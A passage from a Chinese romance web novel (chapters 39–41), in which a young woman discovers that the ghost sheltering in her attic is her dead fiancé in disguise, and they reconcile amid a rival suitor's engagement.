“沈寄时不通音律,可却画了一手好画,那应该是他在蜀州正日画地形画出来的。可沈郎君画画,可真丑。” “但是不知道为什么,我每次看到你的时候,总觉得看到了他。” “沈郎君,差一点,我就真将你当作他了。” 少女说话温声细语,可落在沈寄时耳中却仿佛惊雷,震得他僵立在原地。 【作者有话说】 只是倒计时啊啊啊啊,反正两章之内掉。 39 第39章 ◎八十八封信,一封不少◎ “我差一点,就将你当作他了。” 沈寄时活着的时候是天不怕地不怕的性子,总是一意孤行地以为天塌了有他的硬骨头顶着。 后来死了,在黄泉呆了三百年,可若真论起来,也没将他骨子里的傲气磨灭多少。 唯有今日,他听着这句话,只觉自己那根硬骨头被她抽了个干净,再也硬不起来了。 洛阳的杜康酒确实是好酒,绵甜甘冽,后劲却很大,男子小酌三杯都会醉,更何况她喝了半坛。 酒意一点一点往上涌,桥妧枝头重脚轻,已经有些看不清眼前人的面容,却依旧强撑着与他说话,可说出来的,却含糊异常,很难听清了。 苍穹之上漆黑一片,沈寄时立在屋檐下,嗅着从她身上传来的阵阵酒香,哑声道:“你醉了。” 她确实是醉了,醉到想向前走,可双腿却阵阵发软,动弹不得。 今夜风真冷,于是她缓缓蹲下身子,垂头道:“沈郎君,你走吧,我走不回去了。” 她醉醺醺,却慢条斯理道:“我在这里呆一会儿便好,一会儿就好,郎君不必管我。” 沈寄时缓缓蹲下身子,呼吸粗重了几分,“我带你回去。” 略有湿润的眸子缓缓抬起,桥妧枝努力眨眼,却只能看到一片模糊的人影。她只要眼前人是谁,可脑海中,却总是将沈寄时的脸与他重合。 她醉得太厉害了,还没来得及拒绝,就已经被他背在背上。 鬼魅身上的温度总是很凉,桥妧枝仿佛碰到了一块陈年冷玉,冰得她意识短暂清醒了一瞬。 庭院不大,院门到房门的距离不过几步之遥,可沈寄时却走得很慢很慢。 晚风冷得刺骨,桥妧枝垂首,呼吸间在他脖颈喷洒出一阵热意。 她眨了眨眼,与他道:“沈郎君,我去查了你的生前事。” 沈寄时脚步一顿,没有回头,只听她依旧自顾自说着:“原来你们真的不是一个人啊,沈郎君,对不起……” 她声音越来越小,沈寄时却听得分明。 对不起? 该说对不起的是他,一意孤行,误她年华。 可他最终也没说什么,只背着她,缓缓向前走去。 浓郁的酒气与少女发间的皂角香掺和在一起,热烈又温柔。 她醉得厉害,声音缱绻,喋喋不休,将对不起三个字呢喃着重复了许多遍。 沈寄时将人缓缓放到床榻上,窗未关,帷幔轻动,钻进来的风吹起少女额前发丝,漏出她光洁的额头。 少女明明已经陷入沉睡,可即便在睡梦中,依旧蹙着眉。 冰凉的手掌握在她腕骨处,不自觉间微微用力,在她纤细的手腕上留一道红痕。 沈寄时一眨不眨看着她,五脏六腑仿佛正在被灼烧。 他后悔了,不该留下来的。 这段日子以来,她产生的种种怀疑,都与折磨她无异,人鬼殊途,生前死后,从始至终,他都是为她带来困扰的人。 或许他应该走了,这几月光景仿佛偷来一般,是他太过贪心。 沈寄时垂首,苍白的手背上泛起青筋,终究还是,不甘心…… — 一夜宿醉,醒来时天际初白,日月交替间,明暗交叠,心口涌上一股巨大的失落感。 那种失落感如同傍晚初醒,空虚又寂寥。 乌发散落在肩头,桥妧枝垂头发了一会儿呆,将散落在床上的绒花紧紧攥在手心。 她想到昨日的信,整整三张纸,记录了有关平州沈家的事情。 信上说,平州沈家经营茶叶生意,称不上富甲一方,却也是当地有名的富贵人家,半年前,家中长子带商队前往长安走货,路遇山匪,身死异乡。 信上所言,与沈郎君所说别无二致。 她将那封信翻来覆去看了许多遍,这才相信,他没有骗她,他真的不是沈寄时,一切不过是她的错觉。 沈寄时进来时,手中捧着一杯解酒茶,却没有递给她,而是将茶汤放在她够得到的地方,等待冷却。 谁都没有说话,天际那抹白越来越多,很快便染透半个苍穹。 桌上的解酒茶终于不再冒热气,桥妧枝拿起茶盏抿了一口,心绪动荡间,掌心出了一层细汗。 昨晚的记忆依旧在脑海中留存,可她却始终觉得昏昏沉沉,酒未散尽。 桥妧枝抿了抿唇,低声开口:“沈郎君……” “女郎!” 他打断他,率先开口,“我准备离开了。” 桥妧枝眸中闪过一丝无措,慢半拍地问:“去哪儿?” “平州老家。” 平州? 桥妧枝讷讷:“为何要回家,郎君不是说……” 沈寄时道:“人鬼殊途,我本不欲打搅他们,只是前不久,突然有些想念故土,便起了回去的心思。” 故土,落叶归根,生前死后,总是盼望回去的。 可是…… 桥妧枝抬头,捏着茶盏的指尖微微发白,小声道:“郎君是因为昨晚我所说的那些话吗?” “我给郎君道歉,我确实不该将郎君误当成另一个人。”她声音很轻,语气却格外真诚。 “并非因为昨日。” 沈寄时目光从她脸上移开,神色轻松,“只是想回去看看,东胡之乱致使女郎曾远离故土数年,应当能体会到我的心情。” 他这样说,桥妧枝便无话可说了。 “郎君日后还回来吗?” “兴许回来,可长安与平州相距甚远,可能要许多年才会回来一次。” 许多年,人生在世,又有几个许多年? 桥妧枝发了一会儿呆,对他道:“沈郎君,我是不希望你离开的。” 沈寄时心尖一颤,哑声问:“为何?我离开,女郎的生活兴许能简单许多,来日等女郎身上青女香散尽,便与这世间种种隐晦之物告别了。” 为什么? 桥妧枝有些迷茫,她也不知道为什么,只是下意识想要将人挽留,即便明明已经弄清楚,他不是沈寄时。 可总要有理由的,于是她道:“沈郎君,我欠一条命的。” 或许不止是一条命就能说清的。 沈寄时不语,目光落在她素白的脸上,轻轻扯动唇角,“因果循环,兴许沈某上辈子,欠女郎良多。” 桥妧枝一怔,摇了摇头。 平州是沈郎君的家,别人想回家,桥妧枝没有再阻拦的理由。 她问他准备何时走,沈寄时立在窗前,身影隐藏在阴影下,说三日后。 三日,是个不长也不短的时间,足够做许多事。 宿醉的感觉还未褪去,桥妧枝反应慢,很缓很缓地说:“那我为郎君准备些东西,就当送郎君一程。” 人间的规矩,送鬼魂上路总要准备许多衣裳冥钱,桥妧枝想得周全,准备在他离开前多烧给他些。 黄纸压了厚厚一摞,少女手指泛红,一整日,也不过叠了半筐元宝。 三日的时间还是太短了,以前给沈寄时叠的那些元宝,她都是提前一月便开始叠。 指尖被纸张磨得生疼,她却不能叫旁人来帮忙,只能自己来。纸元宝一叠便是许久,等到月色照进窗台,她才惊觉已是深夜。 桌案上的黄纸已经少了一大半,明日再叠一些,应当是够了。 她想,等叠完这些东西,还要抽出时间去买些冬衣,还要路上用得到的物件,三日时间,怎么也够了。 桥妧枝起身,犹豫了一瞬,最终还是拿起桌案上的提灯,缓缓向阁楼走去。 月色清寒,她走得很慢,路过光秃秃的合欢树时还曾短暂停留。寒风将她额前发丝吹得有些凌乱,她没理,一步一步登上有些陈旧的楼梯。 不出所料,阁楼中的鬼魅身上已经覆盖了一层霜雪,桥妧枝上前将他肩头的霜雪扫下,又将藏在袖中的汤婆子塞进他怀中,见他紧皱的眉头渐渐松了,这才转身去点角落里的暖炉。 白驹过隙,浮云苍狗,第一次见沈郎君时还是七月,不知不觉间竟已由夏转冬。 暖炉带起的腾腾热气将阁楼变得温暖如春,外面太冷,桥妧枝便不愿出去了,于是留在这里细细盘算明日要给沈郎君准备些什么东西。 可思来想去也不过是那几样,便也不再想了。 夜已深,她却不困,无所事事间目光落在不远处的矮柜上,不禁有些疑惑。 她许久未上阁楼,有些想不起这只矮柜里面放着什么东西了,也许是她随手翻开的书,也许是她没有打完的穗子,又或许什么都没有,只是空荡荡一间柜子。 有些好奇,于是她缓缓走过去,将柜门打开,可映入眼帘的,却是一个有些简陋的木盒。 确实十分简陋,简陋的就像随便拿几个木板钉在一起,仓促间制成了一个盛放物品的盒子。 她轻轻蹙眉,发现自己确实对这样的木盒毫无印象,即便是在蜀州,她也从未用过这样的盒子。 好似有猫爪在不断挠动她的心脏,她带着浓浓的好奇,轻轻撬开铜扣,将木盒掀开。 阁楼之上灯火通明,打开的瞬间,烛光被收拢进来,刹那间照亮了里面的东西。 桥妧枝目光微顿,羽睫止不住地颤动。 那是满满一盒信,每个信件都被保存的很好,没有留下半分折痕。 她看到最上方信封的右下角画着一只狸花猫,猫尾尖处,墨痕晕染。她想去碰,可手却抖得厉害。 僵立在原地不知多久,桥妧枝猛地回神,开始大口大口喘息起来。 下唇已经被她咬出血,铁锈味在口腔中蔓延,令她头晕目眩。 八十八封信件,一封不少,都是她曾烧给沈寄时的信。 【作者有话说】 此刻毫无察觉的沈寄时:== — 其实,在最开始的大纲里,是甜文的…… 40 第40章 ◎他的唇好似冷玉◎ 矮柜被合上,怀中的汤婆子已经转凉,桌案上的油灯燃到尽头,角落里的暖炉渐渐熄灭,阁楼中唯一的生息也悄然远去。 今日是个好天气,万里无云,暖阳照下,驱散了长安接连几日的严寒。 沈寄时找到桥妧枝时,她正在伏案写字,他站在阴暗处,看到晨曦落在她身上,仿佛为她披了一层霞光。 一明一暗,一阴一阳,生死之距,咫尺天涯。 他未出声,埋头写字的人却已经注意到他,头也未抬,只轻声道:“你来了。” 声音相较于前日更加嘶哑。 沈寄时皱眉,沉声道:“女郎昨日受了凉?” 被询问之人许久没出声,只低着头,不知在想些什么。 就在沈寄时以为她不会回答时,却听到她轻轻唤道:“沈郎君,你能过来些吗?” 沈寄时没有犹豫,行至她身前,垂眸去看她。 他直觉她今日有些不对劲,却不知问题出在何处,也不知她是不是遇到了什么事。 他走近,刚刚还在出声唤他的少女又不出声了,只顾低着头发呆。 执笔的手许久未动,浓稠的墨汁顺着狼毫滴在宣纸上,瞬间便晕透了写满字迹的信。 桥妧枝长睫一颤,却无动于衷,任由墨渍越来越大,直到将最上方的沈危止三字掩盖个彻底。 这是她写给沈寄时的信,如今已经被那一大块墨渍毁了。 她缓缓仰头,轻声问:“沈郎君明日何时走?” 日光太盛,她神情掩在下面有些看不清晰。 “明日傍晚。” 日月交替之时,他不会被日月影响。 桥妧枝点点头,将宣纸合起,突然问:“沈郎君好像从未说过家中事,这次回去,是要见心上人吗?” 她问得突然,沈寄时猝不及防,眉骨向下压得紧,没有开口。 见他不说话,桥妧枝薄唇抿起,短促哼笑了一声。 几分自嘲,几分微恼。 沈寄时以为自己听错了,双眸微眯,可她始终躲在日光下,让他半分窥探不得。 那层光好似成了她天然的屏障。 桥妧枝却并没有打算放过他,继续问:“沈郎君,你还未回答我的问题。” 这问题并不难,可却让沈寄时沉默了许久,方才轻声道:“不是。” “不是什么?” “不是要见心上人。” “那是什么?” 沈寄时便又不说话了,他皱眉,思索间,房门却被敲响。 “女郎。” 郁荷的声音在门外响起,“一切都已准备妥当。” 桥妧枝目不转睛看着眼前人,却对门外郁荷道:“我知晓了。” 出声没一会儿,外面就传来渐行渐远的脚步声,郁荷走远了。 她缓缓抬头,看着眼前眉目硬挺,鹤骨松姿的郎君,心中仿佛打碎了一碗不甜梅子酪,酸涩难忍。 适时起身,她声音轻缓,“沈郎君,你伸出手,我想送你一样东西。” 失去阳光笼罩,沈寄时终于看清她脸上的神色,她眼睛有些肿,双颊泛着不正常的红,好似是哭过,还哭了许久。 只是还没来得及细问,她便拖住他的手,在他掌心放了一块玉。 那块玉质地温润,上面一片洁白无瑕,却打磨得精细,光滑又温凉,是极好的一块玉。 他看了一眼,目光定定看着她,“女郎为什么哭?” “没有哭。” 沈寄时不信,眉毛拧在一起,沉声道:“出了什么事?” “没有。” 他声音更冷,“有人欺辱女郎?” 被问烦了,桥妧枝抬眸,看着他,仿佛憋着一口气。 沈寄时敛眸,不再追问,攥紧那块玉,低声问:“那女郎为何送我玉?” “沈郎君,我觉得你说得对。” 她扯了扯唇角,笑意却止步于眼底,“人鬼殊途,或许我确实应当放下对他的执念。” 沈寄时神情一怔,还未来得及说话,她就已经松开手。 “阿娘要给我定亲了。” 攥着冷玉的手猛地收紧,沈寄时气息微沉,没有出声。 “定亲之人沈郎君也曾见过,是与我们一同去古楼观的冯梁冯郎君,如今在大理寺当职。”她顿了顿,道:“其实冯郎君也很好,少年才俊,模样也俊朗,人品也称得上君子。” 不知为什么,沈寄时突然觉得心很疼,明明他是鬼,那处早就已经不会跳动了,也不应当再起波澜。 可还是很疼,疼得指尖微微发抖,脑中一片空白。 冷玉贴到自己毫无生机的胸口,他突然不受控制道:“不好。” 桥妧枝背对着他红了眼眶,语气却丝毫不显,“哪里不好?是冯郎君不好,还是这门亲事不好?” 其实没有哪里不好,冯梁与她很般配,他是文官,脾气温和,不会总令她生气,更不介意她曾与一个已死之人定过亲,以后若是一同生活,似乎很容易做到举案齐眉。 可他抿唇,还是道:“他文弱,没办法护好女郎。” 桥妧枝许久没有出声,直到郁荷第二次来催,她突然往外走,行至门前,脚步微顿,“至少长安城中,再也没有比冯郎君更合适的人了。” 没有比冯梁再合适的人了吗? 沈寄时不屑,是真的不屑,但他没资格说什么。 他问:“女郎突然说起这个,是因为要去见他?” 桥妧枝不置可否,轻轻笑了一声。 这样的笑声,只有她在生气时候才会发出。他这才意识到自己原来对她这么了解,一个笑声,就能让他敏锐的察觉到她心情不好。 他又问:“女郎今日何时回来?那些元宝还没有叠完。” 其实他并不需要这些东西,只是寻了个由头说话。 她没有回答,留给他的只有一道不轻不重的关门声。 白日西移,一缕阳光落在沈寄时右肩,带起轻微灼烧感。 他没动,等到日头在他周身游走一遍,方才缓缓看向掌心白玉。 毫无瑕疵的一块玉,应当在上面雕琢些什么,可这样好的一块玉,似乎在上面雕琢任何花纹,似乎都有些可惜。 沈寄时一动不动等了一整日,一直到傍晚,要等的人都没有回来。 屋檐上的灯笼亮起,被风吹得晃动,屋中的鬼魅突然有了动作。 他要去寻她,即便她与冯梁马上要定亲,也不能不归家。 — 世道不太平,大理寺差事忙,各种案子堆积在一起,直到今日才堪堪处理的差不多。 接连多日的疲于奔命总算告一段落,冯梁于酒楼宴请同僚。 傍晚时分,朱雀大街灯笼亮起,长安夜市繁荣更甚往常。 酒足饭饱,今日筵席已至尾声,冯梁一身酒气站在酒楼前与同僚道别。 寺丞提起前不久听到的事:“听说过几日就是冯大人的弱冠礼,家中已经为大人订了一门好亲事?” 冯梁神色不变,眼中看不出欢喜,只淡淡道:“定了一门好亲事,是我高攀。” “冯大人自谦,大人是我大梁的青年才俊,以后定然是前途无量,分明是门当户对,怎么会是高攀呢?” 闻言冯梁笑笑,脑海中却不自觉闪过一双清亮的眸子,心下不不由得有些失落。 已是弱冠之年,他的亲事耽误不得,可他喜欢的女郎,却对他无意。家中不是没有找媒人前去桥府说媒,可最终还是被婉拒,阿娘便给他寻了另一门亲事。 新定下的亲事极好,是户部尚书家的女郎,性情温婉,是个很好的女郎。 亲事已经是板上钉钉,可他还是忍不住叹息,他自然知道自己与桥姑娘今生怕是有缘无分,沈寄时珠玉在前,他做什么恐怕都比不过死人。 道理自然是都懂,可是午夜梦回间,他终究还是有些不甘心。 晃悠悠拐进小巷,周遭一切仿佛淡去。冯梁脚步一顿,看到立在暗巷中的郎君时眼皮一跳,“阁下何人?” 沈寄时冷冷看着他,声音却带了几分喑哑,“你们什么时候定的亲?” 不是说,还未定亲吗? 声音异常嘶哑,却带着几分摄人的寒意。冯梁皱眉,察觉到眼前人对他好似恶意十足,于是下意识去摸挂在腰间的官刀。 沈寄时眸色更冷,面露讥讽,又问:“她人呢?” “谁?” “桥脉脉。” 乍一听是有些陌生的名字,冯梁反应了一下方才想起,桥姑娘小字,好像就叫脉脉。 他要找桥姑娘? 冯梁警惕抬眸,“你是谁?” “蠢货。” 沈寄时沉声,讥讽更甚,恶意毫不掩饰。 眼前人身上没有属于她的气息,这里没有她,她白日里也没有和这个人在一起。 不必再浪费时间,沈寄时转身离开。 酒劲上来,冯梁扶着墙摇头,愤愤砸墙,又隐约间想起,自己上次背着骂蠢货,还是在蜀州,被沈小将军骂的。 — 沈寄时是在阁楼找到人的,少女应当是在阁楼的小床上睡了一整日,听到动静方才悠悠转醒,醒来时目光还有些发直。 天色将晚,周遭昏暗,视线并不清晰,沈寄时立在她身边,久久不语。 少女清醒了一些,缓缓抬头,“沈郎君,你为什么看着我?” “我找了你许久。” 找了许久,却从未想到,她竟一直没有走出这个庭院。 都言灯下黑,却没想到他也有灯下黑的一日。 桥妧枝额头抵在床角,眨了眨眼,突然笑了笑,“郎君去哪里找我?我从未说过我要出门。” 是,她从未说过她要出门,一切只是他的猜测,还愚蠢地将猜测当了真。 他便又不吭声了,目光落在桌案上,看到那里多出来一只白玉瓶,瓶内插了一枝含苞待放的红梅。 不知她什么时候带来的,应当是今晨。 或许要不了多久,这梅花便能绽放,为这有些单调的阁楼增添一抹亮色。 缕缕红梅香传来,在这温热的阁楼中发散阵阵香气,引人遐思。 “沈郎君明日便走吗?”桥妧枝忽然出声。 沈寄时答:“明日傍晚便走。” 桥妧枝扯了扯唇角,“原本想让郎君看我成亲的,没想到郎君突然要回平州。” 沈寄时指尖微动,呼吸急促几分,闭眸,“不必了。” 他怕真等到那日,他做出什么毁她姻缘的事。 桥妧枝:“郎君的心上人成亲了吗?” 她今日格外话多,许多问题都很奇怪,沈寄时却心不在焉,没有意识到,只嗯了一声,又道:“许久未归家,不知。” 桥妧枝突然看向他,语气认真了些,“若是郎君的心上人与旁人成亲,郎君会怪她吗?” “不会。” 他目光落在她有些凌乱的乌发上,声音沙哑,却无比认真,“我盼她长命百岁,人生圆满,岁岁平安,往后经年都不要惦记我。” 桥妧枝眼眶一酸,不争气地红了,她有些恼,上下唇轻碰,声音很轻,轻到旁人听不清她说了什么。 沈寄时皱眉,“女郎刚刚说什么?” 许久没人出声,外面天色更暗,等到日头彻底隐藏在山间后,月光撒下,他肩上就会落雪,便听不到了。 桥妧枝长睫抖动,“沈郎君,你头低一些。” 他听话俯身,却见她不动。 她又道:“再低一些。” 于是更低,墨发散下,不知不觉间与她青丝纠缠在一起。 两人距离太近,桥妧枝目光落在他眉眼上。 他眉压得低,从她的角度看去,好似在生气。 他在气什么呢?明明被瞒在鼓里的一直是她,寻他不到的也是她,说谎骗人还一心想离开的却是他。 许久没有听到她出声,沈寄时眉眼轻抬,下意识偏头。 桥妧枝忽然仰头,薄唇贴上了他唇角。 很凉,贴上的瞬间仿佛碰到了一块冷玉,怎么都暖不热。 【作者有话说】 冯梁:发生了什么? 40-50 第41章 ◎松柏临雪,白鹤振翅◎ 阁楼寂静,静得甚至能清楚听到少女急促的呼吸声。 熟悉的皂角香混着梅香传进鼻尖,沈寄时僵立在原地,没有动。 一温一凉,肌肤相贴的触感无限扩大,震得头脑发晕。 仰头太久,脖子有些发酸,桥妧枝指尖微动,想离开,有人却先她一步按住她纤细腰肢,不让她动。 没有过分的举动,就只维持着这个姿势,却是经年没有的亲近。 桥妧枝莫名想了很多。 悠悠二十载一晃而过,从带着她街头闯祸的沈小郎君,到冲锋陷阵的沈小将军,再到统率三军的长宁侯,他好像时时刻刻都在变,又好像一直没有变。 最终还是分开了距离。 “什么时候发现的?” 目光落在她身上,声音有股难以言说的沉闷。 桥妧枝眼底鼻尖通红,看了他一会儿,突然转身,从矮柜中拿出那只简陋的木盒。 刷得打开,怼到他面前,她哑声道:“你没有将东西藏好。” 沈寄时扫了一眼,释然道:“可能天意如此。” 天不怕地不怕的沈寄时什么时候也会说天意了,桥妧枝眼眶发涩,“第一次见你,身边怎么没有这个盒子?” “藏在墙外。” 言简意赅。 刻意将东西藏起来,生怕她看到,生怕她认出来。 桥妧枝手还在抖,看着这张还未令她熟悉的脸,张了张嘴,最终还是将想说的话咽了回去。 她又问:“要是我没有发现,你准备骗我到什么时候?” 沈寄时抿唇,没有出声。 若是可以,他自然想要骗她一辈子的,最好是骗她好好走完这一世。 其实不用他说桥妧枝也能猜到几分,眼尾溢出晶莹,她突然恨恨抬手,“沈寄时!” 他没躲,缓缓闭上眼,可等了许久,巴掌却始终没有落下。 再睁眼,刚刚还作势要打人的少女已经蹲下身子,抱着木盒小声抽泣。 盒子没有盖,泪珠落在信封上,很快洇湿一大片。 她这样哭,还不如给他一耳光。 沈寄时喉咙滚动,哑声道:“对不起,我的错,卿卿别哭。” 抽噎声稍停,桥妧枝泪眼婆娑,始终没有抬头。 她其实,是有些怨恨他的。 不止一次地怨恨他。 即便她知道,错不在他。 即使她知道,他为她付出良多。 阁楼小窗未开,内里的梅花香气越发浓郁。 眼泪灼热,沈寄时将点点晶莹攥进掌心,情绪低沉。 桥妧枝看着他掌心的水渍,不再哭了,语气变得有些不对劲,问:“那你还走吗,沈郎君?” 故意将沈郎君三个字咬得很重,故意说给他听。 沈寄时抿唇,“暂时不走了。” 暂时两个字令桥妧枝失神片刻,她又问:“那什么时候走,到时候我送郎君一程。” 又是良久的沉默,他倏而开口:“等你……之后。” 抵触这个词,便含糊想要蒙混过去。 桥妧枝却刨根问底,“什么之后?” 沈寄时目光落在她泛红的眼尾,那处殷红很盛,好似盛开了一朵红梅,比桌案上的那枝梅花动人心魄得多。 “成婚。” 他沉声,眉眼有些凶,“等你成婚之后,我就离开。” 桥妧枝一口气仿佛没有提上来,眼睛又被憋红了。 果然,生前会气人,死了以后还会气人。 沈郎君不会气人,沈寄时却知道如何能将她气死。 …… 他不走了,那筐元宝搁置在屋内没有用,桥妧枝想了想,给土地庙里的窈娘烧了过去。 她怜惜窈娘,怜她命苦,怜她尸骨无存,唯一能做的,就是时常给她烧些东西。 后院烟熏火燎,她蹲在一旁烧得专注,沈寄时立在她身边,低声唤:“卿卿。” 这两个字好似缠绕在耳畔,桥妧枝指尖一顿,咬牙没有看他。 她已经几日没有理他,即便他与她说话,也悉数视若无睹,死活不肯与他都说一句。 人总是好了伤疤忘了疼,赌起气来没完没了,可即便是这样,每日傍晚她都要去阁楼寻他,依旧不说话,只将他看得紧,怕他真走了。 冥钱烧到最后,烟雾腾空而起,又很快消散在半空中。 桥妧枝拍了拍裙摆起身出了庭院,一点儿要与他说话的意思都没有。 沈寄时看她背影消失在门前,方才低头,闷笑出声。 笑声越来越大,藏在其中的,却是数不尽的情思惆怅。 时间好像又回到了他们年少时,记不清具体是哪一年,也不记得因何赌气。只记得那日他在长安巡值,正巧遇到她随桥夫人去古楼观上香。 马车停在城门口,他掀开车帘看进去,率先对上一双熟悉的圆眸。 少女抱着小花坐在马车里,看到他时明显一怔。 正在气头上,谁都不愿理谁,只对视一眼,又都将视线偏过,装作不认识一样。 不知天高地厚的年纪,他冷哼一声,挥手放行,目光却一刻都没有离开那辆马车。 周遭百姓来来往往,有将士在他耳边说话,他一边敷衍回答,一边目不转睛盯着她那侧的窗户,想再看她一眼。 等到马车走出一大段距离时,应当是见不到了,他正要收回目光,目力所及之处却悄悄探出一只脑袋,熟悉衣袖掉出窗外,随着马车摇摇晃晃,晃花了他的眼。 猝不及防地目光相撞,他怔愣一瞬,唇角不动声色地向上微扬。 探出头的少女兴许没有料到他竟然还在看,动作一僵,又飞快缩了回去。 那时的场景还历历在目,沈寄时想着想着,笑意中不知何时掺了些苦涩。 当时只道是寻常…… 他转身,铜镜映入眼帘,映照出一张清秀普通的脸。 — 圣人的身体突然好了起来,虽然依旧大不如前,却已经能够上朝。 养病的这些时日,朝廷已经乱成一锅粥了,今日一早,满朝文武都被圣上好一顿骂。 桥大人身为百官之首,自然是首当其冲,不止被骂,还被罚了一个月俸禄。 区区一个月俸禄,桥大人倒是不怎么在意,只是揉了揉眉心道:“圣上这一病,脾气越发古怪了。” 花无久艳,月不常圆。 即便是秦皇汉武,垂垂老矣之时都会犯昏,圣上如今已是垂暮之年,年轻时尚且不及秦皇汉武,如今更是愈发糊涂了。 桥夫人给他盛了一碗青菜粥,犹豫了一下,低声道:“夫君,若是太难熬,便辞官吧。” “说什么胡话?” 桥夫人将汤勺一撂,“谁与你说笑,原本想等你致仕之后,我们游历天下,顺便一同回蜀州看看。如今朝廷乱作麻,不是什么好地方,若是能提前辞官,也未尝不可。” 桥大人沉默一瞬,摇了摇头,“还不到时候。” 桥夫人呛声:“总是说不到时候,圣人如今……” 她顿了顿,又将声音压低几分,“伴君如伴虎,谁又能料得到以后。” 这么浅显的道理谁会不知,桥大人苦笑,“夫人啊,朝堂动荡,我若是走了,大梁就真的没人了。 桥夫人一怔,便不说话了,她自然是懂的。 东胡之乱后,大梁便没有举行过科举,百官凋零,如今好不容易重新开设科举,即便明年春闱后会有不少人入朝为官,可那些新鲜的血液却也没办法立即撑起偌大的朝廷。 生于斯长于斯,她何尝不愿大梁重回盛世…… 桥大人摆了摆手,岔开话题,“听说冯家那小子定亲了?” 桥夫人回神,闻言忍不住看了一眼正在小口喝粥的桥妧枝,揪心地想到有关她姻缘的事,心有戚戚然:“定了,定下的女郎比脉脉还要小四岁。” “倒是门当户对。” 话音刚落,下人就匆匆跑来通传,说冯家郎君在门口,要找女郎。 桥夫人皱眉,迟疑道:“婚事都定了,再找脉脉,怕是有些不合适。” “光天化日,有什么不合适的,大梁民风开放,如今又不是在前朝。”桥大人说着,饮下最后一口粥。 桥妧枝本就心不在焉,闻言起身,温声道:“我去看看,说不定是有什么要事。” 桥夫人嗯了一声,没再阻拦。 大理寺事物繁多,冯梁来时,身上的朝服还没来得及换,见她出来,连忙迎上去,上下打量一眼,见她没事,方才松了口气。 “没事就好,没事就好。” 冯梁神色严肃,一捶手,与她说起自己这次前来的缘由。 “这几日事务繁忙,且将那事当做酒后梦抛到了脑后,今日上朝被圣上骂了一句蠢货,我这才想起那好像不是什么梦。” 他负手,皱眉说起那件令他十分疑惑之事,“前几日我与同僚去喝酒,回来时遇到了一个奇怪的郎君,上来就问我是不是定亲了。” 他看了桥妧枝一眼,见她没什么表情,眸中闪过一丝失落,又很快打起精神,道:“我自然是定了亲的,但是那人十分凶悍,态度恶劣,竟问我女郎在哪里。” 握紧腰间佩戴的官刀,他挺胸,“我当时警惕异常,不止没有将女郎的事说出去,还用刀挥退了歹人。” 他说话时,目光一直落在少女脸上,悄悄打量。 桥妧枝神情娴静,眉眼微弯,“那就要多谢冯郎君了。” 冯梁一怔,腰背突然绷直,摸着官服上的玉带,正经了几分,抿唇道:“女郎不必言谢,还好女郎没有出事,若是真出了什么事,我也难辞其咎。” 冯郎君是个好人,无论多少次,桥妧枝始终这么觉得。 不愿再照这个话题说下去,桥妧枝正要寻个话头,只是还未开口,余光扫到屋檐下,突然顿住。 熟悉的衣角在寒风下翻飞,有人立在墙角阴影中,眉目疏朗,风骨凛然。 他不知何时终于换回了自己的那张脸,鼻梁高挺,清俊异常,光是立在那里,便如松柏临雪,白鹤振翅,令人移不开目光。 冯梁一开始没有意识到她的走神,自顾自道:“女郎,过几日我就要弱冠了,到时候不知女郎可愿前来?” 等了许久没有等到回音,冯梁顺着她目光看去。 冷冷清清的墙角,留有一片阴影,两棵枯草躲在角落里,毫无生气,实在是没什么可看的。 他收回目光,踌躇片刻,见桥妧枝始终望着那里,半点没有移开目光,忍不住问:“女郎在看什么?” 桥妧枝回神,薄唇微扬,“冯郎君。” 冯梁连忙对上她目光,内心忐忑,“女郎……” “听说你马上就要成亲了。”她温声道:“等郎君成亲那日,我与阿娘定会备上厚礼,恭贺郎君新婚。” 就连送他新婚贺礼,都要带上桥夫人。 听她这样说,冯梁扯了扯唇角,想笑却笑不出来,他明白她的意思,只能牵强点头,“冯某多谢女郎。” 该说的都已经说了,即便是再不甘心,事已至此,也没什么回旋的余地。 冯梁走了,离开的时候回头看了几眼,看她立在门前,神情沉静,终于死心,扬鞭离开。 他早应该清楚,从东胡之乱始,桥姑娘便容不下除却沈寄时第二个人了。 桥妧枝等他走远,缓缓转身,路过墙角时脚步微顿,却没有停留,自顾自向前走。 冷如冰霜的手忽然扣住她手腕,令她止步,身后人低笑出声:“已经一整日了,卿卿还在生气吗?” 常年征战沙场,他的指腹十分粗糙,按在皮肤上,带起微微刺痒。 越听他笑便越是难过,桥妧枝忽然转身,目不转睛看着他。 许久未见的一张脸,也是她曾看了二十年的容颜。 直到如今,那种失而复得的心情才缓慢又强硬地漫上心尖,不受控制般发出阵阵嗡鸣。 她眼尾绯红更甚,沈寄时一僵,笑意渐渐淡去。 指腹按在她眼尾,他开口,嗓音不再像之前那般低沉,反而带了些少年清润,问:“卿卿为何又哭了?这些时日,哭得次数胜过以往数年了。” 她抿唇,泪珠顺着眼角滑下,“你之前那张脸,丑死了。” 说得很是夸张,之前那张脸虽称不上英俊,却也与丑不沾边。 指腹很快被源源不断的眼泪浸湿,他神色微凛,缓缓低头。 桥妧枝果断偏头避开,哑声道:“沈郎君,我马上就要和旁人成亲了。” 沈寄时眸色一深,直起身,低声道:“刚刚听到你恭贺他新婚,哪有即将成亲的女郎还要恭贺自己郎君新婚的,桥脉脉,你蒙我。” 见她不说话,沈寄时自嘲道:“我知你为何生气。” “最开始确实想让卿卿忘了我,人鬼殊途,我征战多年,见惯了生死,轮到自己,自然知晓如何做才是最好的。” 桥妧枝皱眉,眉眼挂了些冷意,似在嘲讽他的自以为是。 他知道如何做是最好的,却忘了,情之一字,本就与带兵打仗不同。 指腹依旧没有离开她眼角,他清润的嗓音多了几分喑哑:“生死无常,卿卿,退婚之事,我从未怪你,不必自缚。” 分出一魂陪伴她,他从未后悔,哪怕是变成魙鬼,他也毫无怨怼。本就是无**回之人,即便再死一次,与他而言也并无关系。 桥妧枝眼底泛酸,却没再哭。 出征前退婚,她悔之不及,如今他这句话,仿佛将她从湿漉漉的水中捞出来,有了短暂的喘息。 她微微眯眼,目光落在屋檐上,那里立着一只大雁,孤零零一只,应当是南飞时落了单,迷失了方向。 该说的都已经说了,沈寄时眉眼低垂,也不知自己还能再说些什么。 轻云蔽日,她收回目光,转身往回走。 沈寄时眸中闪过失落,正要跟上,却察觉到什么,一低头,看到两根纤细的手指抓住他袖口。 抓得很紧,没有放开。 桥府石阶高,桥妧枝拾阶而上,行至门前,撞上了准备出门的桥夫人。 她一顿,不动声色松开抓在手心的袖口,明知旁人看不见他,却还是下意识挡在他身前,软声道:“阿娘。” 桥夫人第一时间看到她泛红的双眸,眉头轻皱,“他已经走了?” 问的冯梁。 “走了……” 